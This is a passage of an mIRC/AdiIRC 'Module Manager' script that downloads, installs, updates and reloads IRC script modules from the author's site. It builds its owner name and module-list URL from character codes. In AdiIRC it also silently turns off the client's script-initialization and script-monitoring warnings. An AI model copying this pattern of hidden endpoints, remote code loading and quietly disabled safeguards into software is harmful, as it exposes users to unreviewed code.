  587.     did -ra $dname 2 $wmm_lang(3)
  588.     did -ra $dname 3 $wmm_lang(2)
  589.     did -ra $dname 7 $wmm_lang(4)
  590.     did -ra $dname 11 $wmm_lang(5)
  591.     did -ra $dname 12 $wmm_lang(6)
  592.     did -ra $dname 4 $wmm_lang(7)
  593.     did -ra $dname 13 $wmm_lang(8)
  594.     did -ra $dname 9 $wmm_lang(9)
  595.     did -ra $dname 17 $wmm_lang(10)
  596.     did -o $dname 10 $wmm_lang(11)
  597.     did -o $dname 18 $wmm_lang(12)
  598.     did -o $dname 19 $wmm_lang(13)
  599.     did -o $dname 20 $wmm_lang(14)
  600.     did -o $dname 21 $wmm_lang(30)
  601.     did -o $dname 22 $wmm_lang(15)
  602.     did -o $dname 24 $wmm_lang(45) $chr(38) $+ $chr(38) $wmm_lang(46)
  603.     did -o $dname 27 $wmm_lang(79)
  604.     did -ra $dname 5 v $+ $wmm_ver
  605.     did -ra $dname 25 $wmm_lang(57)
  606.     did -ra $dname 26 $wmm_lang(61)
  607.     wmm_tool -et
  608.     .timer[WMM_GET_MODULES_LIST] -ho 1 500 wmm_modules_list
  609.   }
  610.   if ($devent == rclick) {
  611.     if ($did == 14) {
  612.       var %h = WMM_MODULES
  613.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),1,44)
  614.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),1,44) }
  615.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),1,44) }
  616.       if (%url) { url %url }
  617.     }
  618.     if ($did == 15) {
  619.       var %h = WMM_MODULES
  620.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),2,44)
  621.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),2,44) }
  622.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),2,44) }
  623.       if (%url) { url %url }
  624.     }
  625.     if ($did == 16) {
  626.       var %h = WMM_MODULES
  627.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),3,44)
  628.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),3,44) }
  629.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),3,44) }
  630.       if (%url) { url %url }
  631.     }
  632.     if ($did == 28) {
  633.       var %h = WMM_MODULES
  634.       var %m = $did(6).seltext
  635.       if (!%m) { var %m = $did(60).seltext }
  636.       if (!%m) { var %m = $did(600).seltext }
  637.       var %path = $wmm_getpath(%m)
  638.       var %extra_id = $hget(%h,%m $+ _extra_id)
  639.       if (!%m) || (!%path) || (!%extra_id) { did -h $dname 28 | return }
  640.       url $wmm_extraid_url(%extra_id)
  641.     }
  642.   }
  643.   if ($devent == dclick) {
  644.     if ($did == 6) || ($did == 600) {
  645.       var %m = $did($did).seltext
  646.       if (!%m) { return }
  647.       var %h = WMM_MODULES
  648.       var %extra_id = $hget(%h,%m $+ _extra_id)
  649.       if (%extra_id) { url $wmm_extraid_url(%extra_id) }
  650.     }
  651.     if ($did == 60) {
  652.       var %m = $did($did).seltext
  653.       if (!%m) { return }
  654.       var %h = WMM_MODULES
  655.       var %chk_sets_alias = $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  656.       if (%chk_sets_alias) && ($isalias(%chk_sets_alias)) { $evalnext(%chk_sets_alias) }
  657.     }
  658.   }
  659.   if ($devent == sclick) {
  660.     :sclick
  661.     if ($did == 23) { url $wmm_donate }
  662.     if ($did == 2) {
  663.       did -hu $dname 11,12,13,6,60,600,250
  664.       did -v $dname 7,6
  665.       wmm_reset_images
  666.       wmm_modules_installed_plus_updated_list
  667.     }
  668.     if ($did == 3) {
  669.       if ($json(wmm_modules_list_get)) { did -f $dname 2 | return }
  670.       did -hu $dname 7,13,6,60,600,250
  671.       did -v $dname 11,12,60
  672.       wmm_reset_images
  673.       wmm_modules_installed_plus_updated_list
  674.     }
  675.     if ($did == 4) {
  676.       if ($json(wmm_modules_list_get)) { did -f $dname 2 | return }
  677.       did -hu $dname 7,11,12,6,60,600,250
  678.       did -v $dname 13,600
  679.       wmm_reset_images
  680.       wmm_modules_installed_plus_updated_list
  681.     }
  682.     if ($did == 600) {
  683.       var %h = WMM_MODULES
  684.       var %m = $did($did).seltext
  685.       var %path = $wmm_getpath(%m)
  686.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  687.       did -rh $dname 250
  688.  
  689.       var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  690.       if ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  691.       else { did -h $dname 28 }
  692.  
  693.       wmm_reset_images -i %m
  694.  
  695.       var %h = WMM_MODULES
  696.       var %chk_chan = $hget(%h,%m $+ _channel)
  697.       if (%chk_chan) && (%chk_chan !== STABLE) { did -b $dname 13 | did -e $dname 8 }
  698.       else { did -e $dname 13,8 }
  699.  
  700.       var %chk_ver = $hget(%h,%m $+ _check_version_alias)
  701.       var %chk_crdate = $replace(%chk_ver,_ver,_crdate)
  702.       var %upver = $hget(%h,%m $+ _version)
  703.       var %upcrdate = $hget(%h,%m $+ _crdate)
  704.       var %ver = $iif($isalias($right(%chk_ver,-1)),$evalnext(%chk_ver),0)
  705.       var %old_crdate = $iif($isalias($right(%chk_crdate,-1)),$evalnext(%chk_crdate),0)
  706.       var %changelog = $hget(%h,%m $+ _changelog)
  707.  
  708.       did -r $dname 8
  709.       did -a $dname 8 $wmm_lang(54) $+ : $iif(%ver,$v1,N/A) - $iif(%old_crdate,$v1,N/A) $+ $crlf
  710.       did -a $dname 8 $wmm_lang(55) $+ : $iif(%upver,$v1,N/A) - $iif(%upcrdate,$v1,N/A) $+ $+ $crlf $crlf
  711.       did -a $dname 8 $wmm_lang(83) $+ : $+ $crlf
  712.       did -a $dname 8 $replace(%changelog,@newline@,$+ $+ $crlf $+ $+)
  713.       did -c $dname 8 1 1
  714.     }
  715.     if ($did == 6) {
  716.       var %h = WMM_MODULES
  717.       var %m = $did($did).seltext
  718.       if (!%m) { did -b $dname 7 | return }
  719.       var %path = $wmm_getpath(%m)
  720.       var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  721.       if ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  722.       else { did -h $dname 28 }
  723.  
  724.       var %desc_temp = $wmm_lang(80) $+ : $hget(%h,%m $+ _version) $+ @newline@ $+ $wmm_lang(81) $+ : $hget(%h,%m $+ _crdate) $+ @newline@ $+ $wmm_lang(82) $+ : $hget(%h,%m $+ _author) $+ @newline@@newline@ $+ $wmm_lang(83) $+ :@newline@ $hget(%h,%m $+ _changelog) $+ @newline@@newline@ $+ $wmm_lang(84) $+ :@newline@ $hget(%h,%m $+ _desc) $+ @newline@@newline@ $+ $wmm_lang(85) $+ :@newline@ $hget(%h,%m $+ _examples)
  725.  
  726.       did -re $dname 8
  727.       did -a $dname 8 $replace(%desc_temp,@newline@,$+ $+ $crlf $+ $+)
  728.       did -c $dname 8 1 1
  729.  
  730.       if (!%path) { did -e $dname 7 }
  731.       elseif (%path) { did -b $dname 7 }
  732.  
  733.       var %chan = $hget(%h,%m $+ _channel)
  734.       if (%chan) && (%chan !== STABLE) { did -b $dname 7 }
  735.  
  736.       wmm_reset_images -i %m
  737.     }
  738.     if ($did == 60) || (%did_60) {
  739.       var %h = WMM_MODULES
  740.       var %m = $did(60).seltext
  741.       var %path = $wmm_getpath(%m)
  742.       if (!%m) || (!%path) { wmm_modules_installed_plus_updated_list | return }
  743.       did -ve $dname 11,12,8
  744.       did -r $dname 8
  745.  
  746.       wmm_reset_images -i %m
  747.  
  748.       if ($didwm(600,%m)) { did -h $dname 28 | did -vra $dname 250 $wmm_lang(86) }
  749.       else {
  750.         did -hr $dname 250
  751.         var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  752.         if ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  753.         else { did -h $dname 28 }
  754.       }
  755.  
  756.       var %chk_ver_alias = $right($hget(%h,%m $+ _check_version_alias),-1)
  757.       var %chk_owner_alias = $replace(%chk_ver_alias,_ver,_owner)
  758.       var %chk_crdate_alias = $replace(%chk_ver_alias,_ver,_crdate)
  759.       var %f = $isalias(%chk_ver_alias).fname
  760.       var %ft = $nopath($isalias(%chk_ver_alias).ftype)
  761.  
  762.       var %ver = $iif($isalias(%chk_ver_alias),$evalnext($chr(36) $+ %chk_ver_alias),0)
  763.       var %chan = $hget(%h,%m $+ _channel)
  764.       var %crdate = $evalnext($chr(36) $+ %chk_crdate_alias)
  765.  
  766.       var %line1 = $wmm_lang(47) $+ : $iif(%ver,$v1,N/A) $+ $crlf $wmm_lang(60) $+ : $iif(%chan,$v1,N/A) $+ $crlf $wmm_lang(48) $+ : $iif(%crdate,$v1,N/A) $+ $crlf $wmm_lang(64) $+ : $iif(%f,$nopath($v1),N/A) $+ $crlf
  767.       did -a $dname 8 %line1
  768.  
  769.       var %owner = $evalnext($chr(36) $+ %chk_owner_alias)
  770.       var %size = $bytes($file(%f).size).suf
  771.       var %lines = $lines(%f)
  772.       var %md5 = $iif($isfile(%f) && (%lines),$md5(%f,2),0)
  773.  
  774.       var %line2 = $wmm_lang(49) $+ : $iif(%owner,$v1,N/A) $+ $crlf $wmm_lang(53) $+ : $iif(%lines,$v1,N/A) $+ $crlf $wmm_lang(50) $+ : $iif(%size,$v1,N/A) $+ $crlf $wmm_lang(56) $+ : $iif(%md5,$v1,N/A) $+ $crlf $wmm_lang(52) $+ : $iif($isfile(%f) && (%lines),$longfn(%f),N/A)
  775.       did -a $dname 8 %line2
  776.       did -c $dname 8 1 1
  777.     }
  778.     if ($did == 12) {
  779.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  780.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  781.       var %h = WMM_MODULES
  782.       var %m = $did(60).seltext
  783.       var %path = $wmm_getpath(%m)
  784.       var %pos = $wmm_getpos(%m)
  785.       var %mod = $nopath(%path)
  786.       if (!%m) || (!%path) || (!%pos) || (!%mod) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  787.  
  788.       var %chk_ver = $hget(%h,%m $+ _check_version_alias)
  789.       var %chk_id_name = $remove(%chk_ver,_ver,$chr(36))
  790.       if (%chk_id_name) {
  791.         hfree -w %chk_id_name $+ _*
  792.         unset % $+ $evalnext(%chk_id_name) $+ _*
  793.         .timer[ $+ %chk_id_name $+ _*] off
  794.       }
  795.  
  796.       set -eu0 %wmm_signal_noclose 1
  797.       .unload -nrs $qt(%mod)
  798.       .load -rs $+ %pos $qt(%path)
  799.  
  800.       wmm_modules_installed_plus_updated_list
  801.       wmm_reset_images
  802.       wmm_input ok 60 $wmm_lang(34)
  803.     }
  804.     if ($did == 11) {
  805.       var %m = $did(60).seltext
  806.       var %path = $wmm_getpath(%m)
  807.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  808.       var %mod = $nopath(%path)
  809.  
  810.       set -eu0 %wmm_signal_noclose 1
  811.       .unload -rs $qt(%mod)
  812.       if ($isfile(%path)) { .remove $qt(%path) }
  813.  
  814.       wmm_modules_installed_plus_updated_list
  815.       wmm_reset_images
  816.       wmm_input ok 60 $wmm_lang(36)
  817.     }
  818.     if ($did == 7) {
  819.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  820.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  821.       if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | return }
  822.       var %h = WMM_MODULES
  823.       var %m = $did(6).seltext
  824.       var %path = $wmm_getpath(%m)
  825.       var %url = $hget(%h,%m $+ _url)
  826.       if (!%m) || (%path) || (!%url) { did -b $dname 7 | did -u $dname 6 | wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  827.  
  828.       var %tools_ver = $hget(%h,%m $+ _tools_ver)
  829.       if (%tools_ver) && ($wmm_ver < %tools_ver) { wmm_input error 60 $wmm_lang(63) | return }
  830.  
  831.       did -b $dname 6,7
  832.  
  833.       var %mod = %m $+ .mrc
  834.       var %f = $wmm_dir $+ modules $+ \ $+ %mod
  835.       if (!$isdir($nofile(%f))) { mkdir $qt($nofile(%f)) }
  836.  
  837.       if ($wmm_isadi) { .timer[WMM_MOD_INSTALL_ $+ %mod $+ ] -ho 1 500 download -o wmm_mod_install %url $qt(%f) }
  838.       else { .timer[WMM_MOD_INSTALL_ $+ %mod $+ ] -ho 1 500 wmm_download $qt(wmm_mod_install %mod) %url $qt(%f) }
  839.     }
  840.     if ($did == 13) {
  841.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  842.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  843.       if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | return }
  844.       var %h = WMM_MODULES
  845.       var %m = $did(600).seltext
  846.       var %path = $wmm_getpath(%m)
  847.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  848.  
  849.       var %tools_ver = $hget(%h,%m $+ _tools_ver)
  850.       if (%tools_ver) && ($wmm_ver < %tools_ver) { wmm_input error 60 $wmm_lang(63) | return }
  851.  
  852.       did -b $dname 13
  853.  
  854.       var %url = $hget(%h,%m $+ _url)
  855.       var %mod = $nopath(%path)
  856.       var %pos = $wmm_getpos(%m)
  857.       var %f = $wmm_dir $+ modules $+ \ $+ %mod
  858.       if (!$isdir($nofile(%f))) { mkdir $qt($nofile(%f)) }
  859.  
  860.       var %chk_sets $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  861.       wmm_d_close %chk_sets
  862.  
  863.       if ($wmm_isadi) { .timer[WMM_MOD_UPDATE_ $+ %mod $+ ] -ho 1 500 download -o wmm_mod_update %url $qt(%f) }
  864.       else { .timer[WMM_MOD_UPDATE_ $+ %mod $+ ] -ho 1 500 wmm_download $qt(wmm_mod_update %mod %pos) %url $qt(%f) }
  865.     }
  866.     if ($did == 14) {
  867.       var %m = $did(6).seltext
  868.       if (!%m) { var %m = $did(60).seltext }
  869.       if (!%m) { var %m = $did(600).seltext }
  870.       var %f = $wmm_temp $+ $nopath(%m $+ 1.png)
  871.       if ($file(%f)) { wmm_pic $qt(%f) }
  872.     }
  873.     if ($did == 15) {
  874.       var %m = $did(6).seltext
  875.       if (!%m) { var %m = $did(60).seltext }
  876.       if (!%m) { var %m = $did(600).seltext }
  877.       var %f = $wmm_temp $+ $nopath(%m $+ 2.png)
  878.       if ($file(%f)) { wmm_pic $qt(%f) }
  879.     }
  880.     if ($did == 16) {
  881.       var %m = $did(6).seltext
  882.       if (!%m) { var %m = $did(60).seltext }
  883.       if (!%m) { var %m = $did(600).seltext }
  884.       var %f = $wmm_temp $+ $nopath(%m $+ 3.png)
  885.       if ($file(%f)) { wmm_pic $qt(%f) }
  886.     }
  887.     if ($did == 28) {
  888.       if (%did_60) { return }
  889.       var %h = WMM_MODULES
  890.       var %m = $did(6).seltext
  891.       if (!%m) { var %m = $did(60).seltext }
  892.       if (!%m) { var %m = $did(600).seltext }
  893.       var %path = $wmm_getpath(%m)
  894.       if (!%m) || (!%path) { did -h $dname 28 | return }
  895.  
  896.       if ($dialog($dname).tab == 3) {
  897.         var %chk_sets_alias = $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  898.         if (%chk_sets_alias) && ($isalias(%chk_sets_alias)) { $evalnext(%chk_sets_alias) }
  899.         return
  900.       }
  901.  
  902.       did -hu $dname 6,600
  903.       did -vu $dname 60
  904.       did -r $dname 8,250
  905.       did -h $dname 28
  906.       did -v $dname 11,12
  907.       did -ra $dname 9 $wmm_lang(59)
  908.  
  909.       did -f $dname 3
  910.       did -c $dname 60 $didwm(60,%m)
  911.  
  912.       set -eu0 %did_60 1
  913.       goto $devent
  914.     }
  915.   }
  916.   if ($devent == menu) {
  917.     if ($did == 27) { url $wmm_modules_url }
  918.     if ($did == 18) { url $wmm_page }
  919.     if ($did == 24) { url $wmm_donate }
  920.     if ($did == 22) { dialog -k $dname }
  921.     if ($did == 21) { .timer -ho 1 500 wmm | dialog -k $dname }
  922.     if ($did == 19) { .timer -ho 1 100 wmm_sets | dialog -k $dname }
  923.     if ($did == 20) { wmm_input ok 60 $wmm_lang(27) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner }
  924.   }
  925.   if ($devent == close) {
  926.     wmm_w_close @wmm_pic
  927.     wmm_tool -bt
  928.  
  929.     if ($json(wmm_modules_list_get)) && ($hget(WMM_MODULES_SUBMENU_INSTALLED,0).item !== $json(wmm_modules_list_get,modules).length) { wmm_modules_menu_get_installed -g }
  930.  
  931.     jsonclose -w wmm_modules_*
  932.     .timer[WMM_*] off
  933.     if ($hget(WMM_MODULES)) { hfree $v1 }
  934.   }
  935.   return
  936.   :error | wmm_werror $scriptline $error | reseterror
  937. }
  938.  
  939. ; --- End of events ---
  940.  
  941. ; --- Start of aliases ---
  942.  
  943. alias wmm_ver { return $right($gettok($read($script,n,$iif($right($script,4) == .ini && !$wmm_isadi,7,6)),3,32),3) }
  944. alias wmm_crdate { return $remove($gettok($read($script,n,$iif($right($script,4) == .ini && !$wmm_isadi,7,6)),5,32),$chr(40),$chr(41)) }
  945. alias wmm_owner { return $+($chr(119),$chr(101),$chr(115),$chr(116),$chr(111),$chr(114)) }
  946. alias wmm_page { return http:// $+ $wmm_owner $+ .ucoz.com/load/wmm/1-1-0-24 }
  947. alias wmm_donate { return https://paypal.me/ $+ $wmm_owner }
  948. alias wmm_donate_page { return http:// $+ $wmm_owner $+ .ucoz.com/index/donate/0-13 }
  949. alias wmm_extraid_url { return http:// $+ $wmm_owner $+ .ucoz.com/load/wmm/ $+ $1 }
  950. alias wmm_modules_url { return http:// $+ $wmm_owner $+ .ucoz.com/load/1 }
  951. alias wmm_sets_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/ $+ $+($chr(109),$chr(111),$chr(100),$chr(117),$chr(108),$chr(101),$chr(115),$chr(46),$chr(106),$chr(115),$chr(111),$chr(110)) }
  952. alias wmm_sets_file { return $wmm_temp $+ wmm.json }
  953. alias wmm_main_ico_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/main.ico }
  954. alias wmm_main_png_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/no_preview.png }
  955. alias wmm_donate_png_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/donate.png }
  956. alias wmm_lang_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/languages/wmm_lang.ini }
  957. alias wmm_modules_images_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/wmm_modules_images.zip }
  958. alias wmm_modules_image { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/ $+ $1 }
  959.  
  960. alias wmm {
  961.   if ($isid) || ($wmm_error) || ($timer([WMM_OPEN_AND_DO_NOTHING])) { return }
  962.   var %d = wmm_module
  963.   wmm_d_close wmm_module_sets
  964.   if (!$dialog(%d)) { .timer[WMM_*] off | .timer[WMM_OPEN_AND_DO_NOTHING] -ho 1 5000 noop }
  965.   if (%wmm_update) { wmm_tool -b | return }
  966.   if ($dialog(%d)) { wmm_tool -e | dialog -ve %d %d | return }
  967.   wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  968.   wmm_check_update -m
  969.   if (%wmm_update) { return }
  970.   var %don = $wmm_dir $+ donate.png
  971.   var %ico = $wmm_dir $+ main.ico
  972.   var %png = $wmm_dir $+ no_preview.png
  973.   var %lng = $wmm_dir $+ wmm_lang.ini
  974.   if (!$file(%lng)) || (!$file(%ico)) || (!$file(%png)) || (!$file(%don)) { var %delay = 1 }
  975.   wmm_fix_extra_modules_installed
  976.   if (%delay) {
  977.     if (!$wmm_internet) { wmm_input error 60 There are missing some several required project files and you must be connected to internet in order to continue for downloading them! | return }
  978.     .timer[WMM_CHECK_BEFORE_OPEN] -ho 1 5000 wmm_check_before_open %d
  979.     wmm_input warn 3 Downloading some missing project required files...
  980.     wmm_dl $wmm_lang_url $qt(%lng)
  981.     wmm_dl $wmm_main_ico_url $qt(%ico)
  982.     wmm_dl $wmm_main_png_url $qt(%png)
  983.     wmm_dl $wmm_donate_png_url $qt(%don)
  984.   }
  985.   elseif (!%delay) { dialog -md %d %d }
  986.   return
  987.   :error | wmm_werror $scriptline $error | reseterror
  988. }
  989.  
  990. alias wmm_sets {
  991.   if ($isid) || ($wmm_error) { return }
  992.   var %d = wmm_module_sets
  993.   wmm_d_close wmm_module
  994.   if ($dialog(%d)) { wmm_tool -e | dialog -ve %d %d | return }
  995.   if (%wmm_update) { wmm_tool -b | return }
  996.   .timer[WMM_*] off
  997.   wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  998.   wmm_check_update -n
  999.   if (%wmm_update) { return }
  1000.   var %don = $wmm_dir $+ donate.png
  1001.   var %ico = $wmm_dir $+ main.ico
  1002.   var %png = $wmm_dir $+ no_preview.png
  1003.   var %lng = $wmm_dir $+ wmm_lang.ini
  1004.   if (!$file(%lng)) || (!$file(%ico)) || (!$file(%png)) || (!$file(%don)) { var %delay = 1 }
  1005.   wmm_fix_extra_modules_installed
  1006.   if (%delay) {
  1007.     if (!$wmm_internet) { wmm_input error 60 There are missing some several required project files and you must be connected to internet in order to continue for downloading them! | return }
  1008.     .timer[WMM_SETS_CHECK_BEFORE_OPEN] -ho 1 5000 wmm_check_before_open %d
  1009.     wmm_input warn 3 Downloading some missing project required files...
  1010.     wmm_dl $wmm_lang_url $qt(%lng)
  1011.     wmm_dl $wmm_main_ico_url $qt(%ico)
  1012.     wmm_dl $wmm_main_png_url $qt(%png)
  1013.     wmm_dl $wmm_donate_png_url $qt(%don)
  1014.   }
  1015.   elseif (!%delay) { dialog -md %d %d }
  1016.   return
  1017.   :error | wmm_werror $scriptline $error | reseterror
  1018. }
  1019.  
  1020. alias -l wmm_check_before_open {
  1021.   if (!$1) || ($dialog($1)) { return }
  1022.   var %lng = $wmm_dir $+ wmm_lang.ini
  1023.   var %don = $wmm_dir $+ donate.png
  1024.   var %ico = $wmm_dir $+ main.ico
  1025.   var %png = $wmm_dir $+ no_preview.png
  1026.   if (!$file(%lng)) { wmm_input error 60 FATAL ERROR! @newline@ @newline@ $+ Error Code: 0x001 | return }
  1027.   if (!$file(%don)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x022 | return }
  1028.   if (!$file(%ico)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x010 | return }
  1029.   if (!$file(%png)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x016 | return }
  1030.   dialog -md $1 $1
  1031.   return
  1032.   :error | wmm_werror $scriptline $error | reseterror
  1033. }
  1034.  
  1035. alias wmm_check_version {
  1036.   if (!$isid) { return }
  1037.   if (!$wmm_isadi) && ($version < 7.49) { return This mIRC client version that you are using does NOT support the specific project, please download and use the latest version that is available on the mIRC official website! }
  1038.   if ($wmm_isadi) && ($version < 2.9) { return This AdiIRC client version that you are using does NOT support the specific project, please download and use the latest version that is available on the AdiiRC official website! }
  1039.   if ($wmm_isadi) && ($mid($~dotnet,2,1) < 2) { return Your computer .NET version seems to be old, in order to work that project you must download and install the latest .NET Runtime from the web, check more at AdiIRC "https://goo.gl/bQfVof" official download page. }
  1040.   var %js1 = $group(#SReject/JSONForMirc/Log).fname
  1041.   var %js2 = $group(#wmm).fname
  1042.   var %js3 = $gettok($isalias(jsonversion,3).alias,3,32)
  1043.   var %js4 = $jsonversion()
  1044.   if (%js1 !== %js2) || (%js3 !== %js4) || (%js4 !== 1.0.4000) { return It seems that you have already in your remotes installed the "JSONForMirc" addon, you must first remove that addon because that project already including that addon and it will have conflict issues if running both at the same time, try remove it and install the project again. }
  1045.   return 0
  1046.   return
  1047.   :error | wmm_werror $scriptline $error | reseterror
  1048. }
  1049.  
  1050. alias wmm_check_os {
  1051.   if (!$isid) { return }
  1052.   if ($wmm_isadi) && ($bits == 64) { var %adi64 = 1 }
  1053.   var %1 = CheckOS_1
  1054.   var %2 = CheckOS_2
  1055.   var %3 = CheckOS_3
  1056.   var %4 = CheckOS_4
  1057.   var %5 = CheckOS_5
  1058.   wmm_c_close %1
  1059.   wmm_c_close %2
  1060.   wmm_c_close %3
  1061.   wmm_c_close %4
  1062.   wmm_c_close %5
  1063.   .comopen %1 MSScriptControl.ScriptControl
  1064.   if (!$com(%1)) || ($comerr) { return This project cannot be used into this computer, the function "MSScriptControl.ScriptControl" didn't passed the check, that project is available only on Windows operating systems. }
  1065.   .comopen %2 WScript.Shell
  1066.   if (!$com(%2)) || ($comerr) { return This project cannot be used into this computer, the function "WScript.Shell" didn't passed the check, that project is available only on Windows operating systems. }
  1067.   .comopen %3 MSXML2.SERVERXMLHTTP.6.0
  1068.   if (!$com(%3)) || ($comerr) { return This project cannot be used into this computer, the function "MSXML2.SERVERXMLHTTP.6.0" didn't passed the check, that project is available only on Windows operating systems. }
  1069.   .comopen %4 Adodb.Stream
  1070.   if (!$com(%4)) || ($comerr) { return This project cannot be used into this computer, the function "Adodb.Stream" didn't passed the check, that project is available only on Windows operating systems. }
  1071.   if (%adi64) {
  1072.     .comopen %5 ScriptControl
  1073.     if (!$com(%5)) || ($comerr) { return This project cannot be used into this computer, the function "ScriptControl" didn't passed the check, that project is available only on Windows operating systems. }
  1074.  
  1075.     var %dll = $envvar(windir) $+ \System32\tsc64.dll
  1076.     if (!$file(%dll)) { return It seems that missing an necessary DLL from your system while running under AdiIRC 64-bits, you have to install "tsc64.dll" from "https://goo.gl/4uNCPZ" website first and then try to install the project again. }
  1077.     if ($file(%dll).version < 1.0.8.0) { return It seems that the DLL "tsc64.dll" is outdated from your system, please update that dll to the latest version that is available on the website "https://goo.gl/4uNCPZ" and then try again to install that project. }
  1078.   }
  1079.   :error
  1080.   if ($error) { wmm_werror $scriptline $error }
  1081.   reseterror
  1082.   wmm_c_close %1
  1083.   wmm_c_close %2
  1084.   wmm_c_close %3
  1085.   wmm_c_close %4
  1086.   wmm_c_close %5
  1087.   return 0
  1088. }
  1089.  
  1090. alias wmm_check_initial_warn {
  1091.   if (!$isid) { return }
  1092.   if ($wmm_isadi) {
  1093.     .setconfig misc initscriptswarning false
  1094.     if ($readini($adiircini,n,misc,initscriptswarning) == true) { return 1 }
  1095.     else { return 0 }
  1096.   }
  1097.   if (!$wmm_isadi) && ($gettok($readini($mircini,n,options,n5),27,44)) { return 1 }
  1098.   return 0
  1099.   return
  1100.   :error | wmm_werror $scriptline $error | reseterror
  1101. }
  1102.  
  1103. alias wmm_check_monitor_warn {
  1104.   if (!$isid) { return }
  1105.   if ($wmm_isadi) {
  1106.     .setconfig misc monitorscripts false
  1107.     if ($readini($adiircini,n,misc,monitorscripts) == true) { return 1 }
  1108.     else { return 0 }
  1109.   }
  1110.   if (!$wmm_isadi) && ($gettok($readini($mircini,n,options,n7),13,44)) { return 1 }
  1111.   return 0
  1112.   return
  1113.   :error | wmm_werror $scriptline $error | reseterror
  1114. }
  1115.  
  1116. alias wmm_lang {
  1117.   var %f = $wmm_dir $+ wmm_lang.ini
  1118.   if (!%wmm_lang) { set %wmm_lang English }
  1119.   if (!$file(%f)) || (!$isid) || (!$1) || ($1 !isnum) { return 0 }
  1120.   var %h = WMM_LANG_ $+ %wmm_lang
  1121.   if (!$hget(%h)) && ($ini(%f,%wmm_lang)) { hmake %h 1000 | hload -i %h $qt(%f) %wmm_lang }
  1122.   var %r = $hget(%h,$1)
  1123.   if (%r) { return %r }
  1124.   else { return N/A }
  1125.   return
  1126.   :error | wmm_werror $scriptline $error | reseterror
  1127. }
  1128.  
  1129. alias wmm_langs {
  1130.   var %f = $wmm_dir $+ wmm_lang.ini
  1131.   if (!$isid) || (!$file(%f)) || (!$ini(%f,0)) { return 0 }
  1132.   if (!%wmm_lang) { set %wmm_lang English }
  1133.   var %t = $ini(%f,0)
  1134.   var %i = 1
  1135.   while (%i <= %t) {
  1136.     var %lng = $ini(%f,%i)
  1137.     if (%lng) { var %langs = $addtok(%langs,%lng,44) }
  1138.     inc %i
  1139.   }
  1140.   if (%langs) { return %langs }
  1141.   else { return 0 }
  1142.   return
  1143.   :error | wmm_werror $scriptline $error | reseterror
  1144. }
  1145.  
  1146. alias -l wmm_fix_extra_modules_installed {
  1147.  
  1148.   ; -e = it will fix any name or position errors related to WMM original state.
  1149.  
  1150.   if (!$script(0)) || ($isid) { return }
  1151.  
  1152.   if ($1) && ($1 == -e) {
  1153.     var %name = $nopath($script)
  1154.     var %org_name = $upper($wmm_owner) Module Manager.mrc
  1155.     var %new_name = $nofile($script) $+ %org_name
  1156.  
  1157.     if (%name !== %org_name) && ($read($script,1) == [script]) && (!$wmm_isadi) { var %name_ini = $upper($wmm_owner) Module Manager.ini | .rename -of $qt($script) $qt($nofile($script) $+ %name_ini) | .reload -rs1 $qt($nofile($script) $+ %name_ini) | .unload -nrs $qt($script) | return }
  1158.     if (%name !== %org_name) { .rename -of $qt($script) $qt(%new_name) | .reload -rs1 $qt(%new_name) | .unload -nrs $qt($script) | return }
  1159.  
  1160.     var %pos = $wmm_getpos($mid($nopath($script),0,-4))
  1161.     if (%pos !== 1) { .reload -rs1 $qt($script) }
  1162.   }
  1163.  
  1164.   var %t = $script(0)
  1165.   while (%t) {
  1166.     var %s = $script(%t)
